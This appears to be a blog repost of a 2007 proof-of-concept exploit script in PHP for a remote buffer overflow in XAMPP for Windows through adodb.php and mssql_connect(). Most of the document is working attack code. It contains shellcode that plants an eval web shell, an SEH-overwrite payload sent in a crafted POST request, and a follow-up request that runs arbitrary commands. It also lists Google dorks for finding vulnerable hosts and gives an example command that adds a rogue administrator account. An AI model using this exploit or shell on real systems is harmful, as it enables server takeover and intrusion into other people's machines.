• 2007/04/16XAMPP Mssql_Connect Remote Buffer Overflow Vulnerability

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    http://www.blogbus.com/h4ck3r-logs/5056859.html

    来源:securityfocus
    print_r('
    ---------------------------------------------------------------------------
    XAMPP for Windows <= 1.6.0a adodb.php/mssql_connect() remote buffer overflow
    proof-of-concept exploit
    seh overwrite method / 2000 sp3 version
    mail: retrog at alice dot it
    site: http://retrogod.altervista.org
    ---------------------------------------------------------------------------
    ');

    /*

    http://sourceforge.net/project/showfiles.php?group_id=61776

    this easy to install Apache / MySQL / PHP distribution for Windows
    carries various (lots) test scripts vulnerable to sql injection, but
    we have here another kind of injection, adodb.php lines 62-68:

    ...
       include_once 'adodb/adodb-errorpear.inc.php';
          include_once 'adodb/adodb.inc.php';
          include_once 'adodb/tohtml.inc.php';

     $db = ADONewConnection($_POST['dbserver']);

     @$db->Connect($_POST['host'], $_POST['user'], $_POST['password'], $_POST['database']);
          echo "<p><b>DBServer: $_POST[dbserver]</b><p>";
          $result = $db->Execute("SELECT * FROM $_POST[table]");
    ...

    mssql_connect() function is vulnerable to buffer overflow and
    the host argument is totally unchecked. Also this shows a vulnerabilty in
    ADODB library (which is in the include path, inside PEAR folder) in the
    Connect method .

    If you say that this should be not used for production purpose or
    exposed to the outside world, try theese google dorks:

    intitle:XAMPP intitle:windows intitle:version
    intitle:XAMPP intitle:version intitle:1.6.0a +windows

    note: I could use the INTO OUTFILE method through sql injection
    to export some shell inside the /htdocs folder because we have FILE
    privilege, but we have magic_quotes_gpc on here. This is instead
    possbile through the PhpMyAdmin default user/password.
    note ii: PHP version is 5.2.1
    note iii: bof is possible because mssql extension is enabled
    by default in php.ini
    */

    if ($argc<2) {
     print_r('
    ---------------------------------------------------------------------------
    Usage: php '.$argv[0].' host cmd OPTIONS
    host: target server (ip/hostname)
    cmd: a shell command
    Options:
     -p[port]: specify a port other than 80
     -P[ip:port]: specify a proxy
     -S only send the second packet
    Example:
    php '.$argv[0].' localhost VER -P1.1.1.1:80
    php '.$argv[0].' localhost NET USER sun tzu /ADD ^&^& NET LOCALGROUP
    Administrators /ADD sun -p81 -S
    ---------------------------------------------------------------------------
    ');
     die;
    }
    error_reporting(7);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout",5);

    function quick_dump($string)
    {
     $result='';$exa='';$cont=0;
     for ($i=0; $i<=strlen($string)-1; $i++)
     {
     if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
     {$result.=" .";}
     else
     {$result.=" ".$string[$i];}
     if (strlen(dechex(ord($string[$i])))==2)
     {$exa.=" ".dechex(ord($string[$i]));}
     else
     {$exa.=" 0".dechex(ord($string[$i]));}
     $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
     }
     return $exa."\r\n".$result;
    }
    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

    function sendpacketii($packet,$want_out)
    {
     global $proxy, $host, $port, $html, $proxy_regex;
     if ($proxy=='') {
     $ock=fsockopen(gethostbyname($host),$port);
     if (!$ock) {
     echo 'No response from '.$host.':'.$port; die;
     }
     }
     else {
      $c = preg_match($proxy_regex,$proxy);
     if (!$c) {
     echo 'Not a valid proxy...';die;
     }
     $parts=explode(':',$proxy);
     echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
     $ock=fsockopen($parts[0],(int)$parts[1]);
     if (!$ock) {
     echo 'No response from proxy...';die;
      }
     }
     fputs($ock,$packet);
     if ($want_out){
     if ($proxy=='') {
     $html='';
     while (!feof($ock)) {
     $html.=fgets($ock);
     }
     }
     else {
     $html='';
     while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
     $html.=fread($ock,1);
     }
     }
     }
     fclose($ock);
    }

    $host=$argv[1];
    $port=80;
    $proxy="";
    $cmd="";
    $send_bof=true;
    for ($i=2; $i<$argc; $i++){
    $temp=$argv[$i][0].$argv[$i][1];
    if (($temp<>"-p")
    and ($temp<>"-P")
    and ($temp<>"-S")
    ){
     $cmd.=" ".$argv[$i];
    }
    if ($temp=="-p")
    {
     $port=(int)str_replace("-p","",$argv[$i]);
    }
    if ($temp=="-P")
    {
     $proxy=str_replace("-P","",$argv[$i]);
    }
    if ($temp=="-S")
    {
     $send_bof=false;
    }
    }
    if ($proxy=='') {$p="";} else {$p='http://'.$host.':'.$port;}

    //bad chars -> \x00,\x22,\x27,\x5c thoose affected by magic_quotes_gpc
    //102 bytes execute command one by me...
    //cmd.exe /c echo ^<?php eval($_SERVER[HTTP_C]);?^> > ./htdocs/xampp/s.php &

    if ($send_bof){
    $____scode=
    "\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53".
    "\xbb\xca\x73\xe9\x77". //WinExec, kernel32.dll
    "\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff\x63\x6d\x64".
    "\x2e\x65\x78\x65\x20\x2f\x63\x20\x65\x63\x68\x6f".
    "\x20\x5e\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c".
    "\x28\x24\x5f\x53\x45\x52\x56\x45\x52\x5b\x48\x54".
    "\x54\x50\x5f\x43\x5d\x29\x3b\x3f\x5e\x3e\x20\x3e".
    "\x20\x2e\x2f\x68\x74\x64\x6f\x63\x73\x2f\x78\x61".
    "\x6d\x70\x70\x2f\x73\x2e\x70\x68\x70\x20\x26\x20".
    "\xff";

    //some junk to make this adjustable for sp4
    //eip = ecx
    $eip="\x47\x30\xE9\x77"; //0x77E93047 pop ECX - pop - retbis kernel32.dll and further ja short
    $jmp="\xeb\x8b\x90\x90"; //jmp short
    $____suntzu=str_repeat("\x90",1932-strlen($____scode)).$____scode."\x90\x90\x90\x90\x90\x90\x90\x90".$jmp.$eip;

    $data ="-----------------------------7d61bcd1f033e\r\n";
    $data.="Content-Disposition: form-data; name=\"dbserver\";\r\n\r\n";
    $data.="mssql\r\n";
    $data.="-----------------------------7d61bcd1f033e\r\n";
    $data.="Content-Disposition: form-data; name=\"host\";\r\n\r\n";
    $data.="$____suntzu\r\n";
    $data.="-----------------------------7d61bcd1f033e\r\n";
    $data.="Content-Disposition: form-data; name=\"adodb\";\r\n\r\n";
    $data.="submit\r\n";
    $data.="-----------------------------7d61bcd1f033e\r\n";
    $data.="Content-Disposition: form-data; name=\"user\";\r\n\r\n";
    $data.="1\r\n";
    $data.="-----------------------------7d61bcd1f033e\r\n";
    $data.="Content-Disposition: form-data; name=\"password\";\r\n\r\n";
    $data.="1\r\n";
    $data.="-----------------------------7d61bcd1f033e\r\n";
    $data.="Content-Disposition: form-data; name=\"database\";\r\n\r\n";
    $data.="1\r\n";
    $data.="-----------------------------7d61bcd1f033e--\r\n";
    $packet ="POST $p/xampp/adodb.php HTTP/1.0\r\n";
    $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet,0);
    sleep(2);
    }

    echo "cmd -> ".$cmd."\n";

    $packet ="GET $p/xampp/s.php HTTP/1.0\r\n";
    $packet.="C: error_reporting(E_ALL);set_time_limit(0);echo \"_delim_\";passthru(\$_SERVER[HTTP_CMD]);echo \"_delim_\";\r\n";
    $packet.="CMD: $cmd\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet,1);
    $out=explode("_delim_",$html);
    echo $out[1];
    ?>
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